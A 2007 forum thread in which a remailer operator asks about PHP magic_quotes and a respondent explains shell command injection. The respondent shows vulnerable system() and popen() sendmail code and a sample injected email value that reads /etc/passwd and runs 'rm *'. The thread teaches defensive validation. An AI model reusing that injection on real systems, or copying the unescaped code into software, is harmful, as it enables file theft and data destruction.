Anonymous Servers

Author

PHP

admin@newsanon.yi.org

2007-01-20, 1:12 pm

On Fri, 19 Jan 2007 20:32:51 -0500, Steve wrote:

> Make sure you are properly validating input/output if you are going to run
> with magic_quotes_gbc off. Your comment about "if it turns out that the
> backslash is needed sometimes" makes me think you might not be.

The validation is being done in a Python script called by the php module.
My next step is to move the basic validation to where it belongs in the
php module, and provide feedback to the user as he enters data on the form.

But I don't understand how the backslash or escape characters fit in with
php validating, or how they replace it as you seem to suggest.

I have looked on the net for references as to how they connect but haven't
seen anything. All I can think of is that they somehow prevent binary data
from being entered.

Steve

2007-01-20, 1:12 pm

admin@newsanon.yi.org wrote in message news:
<20070120133713.z30Khk2wz8tA@anonymous.poster> ...
> On Fri, 19 Jan 2007 20:32:51 -0500, Steve wrote:
>
>
> The validation is being done in a Python script called by the php module.
> My next step is to move the basic validation to where it belongs in the
> php module, and provide feedback to the user as he enters data on the form.
>
> But I don't understand how the backslash or escape characters fit in with
> php validating, or how they replace it as you seem to suggest.
>
> I have looked on the net for references as to how they connect but haven't
> seen anything. All I can think of is that they somehow prevent binary data
> from being entered.
>

Think about things like this:

system($userinput);
exec(``program'', $userinput);

These are being passed to the shell. If you don't escape special shell
args, including null, you can end up giving access to any file on your
system and/or allowing people to execute commands. If you are
validating so that they cannot contain any special shell characters,
you won't need to escape them. However e-mail addresses may contain <>
which to the shell are redirects and you'd want to escape them \<\>.

Even something like this is very dangerous if not properly validated
and escaped:

function Send($sendmail = "/usr/sbin/sendmail") {
if ($this->form == "") {
$fp = popen ($sendmail."-i".$this->to, "w");
}
else {
$fp = popen ($sendmail."-i -f".
$this->from." ".$this->to, "w");
}
}

If data not properly validated and escaped you could end up with
something like this happening:

attacker@host.com attackermail@example.com < /etc/passwd; rm *;

/steve
--
Packetderm, LLC
Web hosting, SSH Tunneling, Proxies, Advanced E-Mail, Privacy
http://www.cotse.net/areyoureadyforus.html

Thomas J. Boschloo

2007-01-20, 1:12 pm

Steve wrote:
[snip]
> Think about things like this:
>
> system($userinput);
> exec(``program'', $userinput);
>
> These are being passed to the shell. If you don't escape special shell
> args, including null, you can end up giving access to any file on your
> system and/or allowing people to execute commands.

No. We wouldn't want that, would we. That would mean our private mail
and public posts could be observed. And that someone gaining system
rights might mess up the service so it wouldn't run anymore.

That would be BAAAD,
Thomas
--
Why should I walk outside my world. If the whole world is in front of
the screen? http://www.youtube.com/watch?v=USFmVfooIx0

admin@eelbash.yi.org

2007-01-20, 1:12 pm

On Sat, 20 Jan 2007 10:37:38 -0500, Steve wrote:

Thanks for those examples and warnings. Does this summarize it / restate
it?

' " and \ (and the null character) are escaped in php processing by
default because those characters are used a lot - are probably always
needed - to execute commands that a hacker might try to sneak into
unvalidated data fields.

In a php module, the escaped characters are not evaluated, so php
processes normally, but it won't execute a command with them present.

If you aren't just storing data on a database, but need to write it out in
an email message or newsgroup posting, you have to get rid of the escape
characters, while still keeping the hackers out.

One way is to keep the php default of 'on' for magic_quotes_dbc. Then, at
some point in the php module, when it has processed all the fields, but
before it calls the mailto program, run stripslashes() on each field to
remove the escape characters.

You'd have to be confident that at that point the php module was no longer
vulnerable.

Steve

2007-01-20, 1:12 pm

admin@eelbash.yi.org wrote in message news:
<20070120183908.E3eXvxY6hsoM@anonymous.poster> ...
> On Sat, 20 Jan 2007 10:37:38 -0500, Steve wrote:
>
> Thanks for those examples and warnings. Does this summarize it / restate
> it?
>
> ' " and \ (and the null character) are escaped in php processing by
> default because those characters are used a lot - are probably always
> needed - to execute commands that a hacker might try to sneak into
> unvalidated data fields.

It's actually \0 (see: http://insecure.org/news/P55-07.txt, it's for
perl but applies). There are many more. In php you can also use
escapeshellcmd($userinput); and escapeshellarg($userinput); There are
arguments for all kinds of different approaches to input validation,
all that really matters is that it is done some way.

>
> In a php module, the escaped characters are not evaluated, so php
> processes normally, but it won't execute a command with them present.

Too much depends upon what the php module does, how data is passed to
it, and how it is executed to answer this.

>
> If you aren't just storing data on a database, but need to write it out in
> an email message or newsgroup posting, you have to get rid of the escape
> characters, while still keeping the hackers out.
>
> One way is to keep the php default of 'on' for magic_quotes_dbc. Then, at
> some point in the php module, when it has processed all the fields, but
> before it calls the mailto program, run stripslashes() on each field to
> remove the escape characters.

stripslashes() for the fields you do not need them, like perhaps body
text. But anything being passed through the shell command line must be
evaluated and passed escaped where need be. Look at how you are
passing the message to mixmaster. Is there anything in that
commandline that the user was able to input? If so, was it properly
validated?

magic_quotes_gpc can be off or on, leaving it on is a lazy approach, it
is better to have it off and ensure you have written solid code. But
it can help with security while you are learning and if you are
uncertain that what you are running is safe.

/steve
--
Packetderm, LLC
Web hosting, SSH Tunneling, Proxies, Advanced E-Mail, Privacy
http://www.cotse.net/areyoureadyforus.html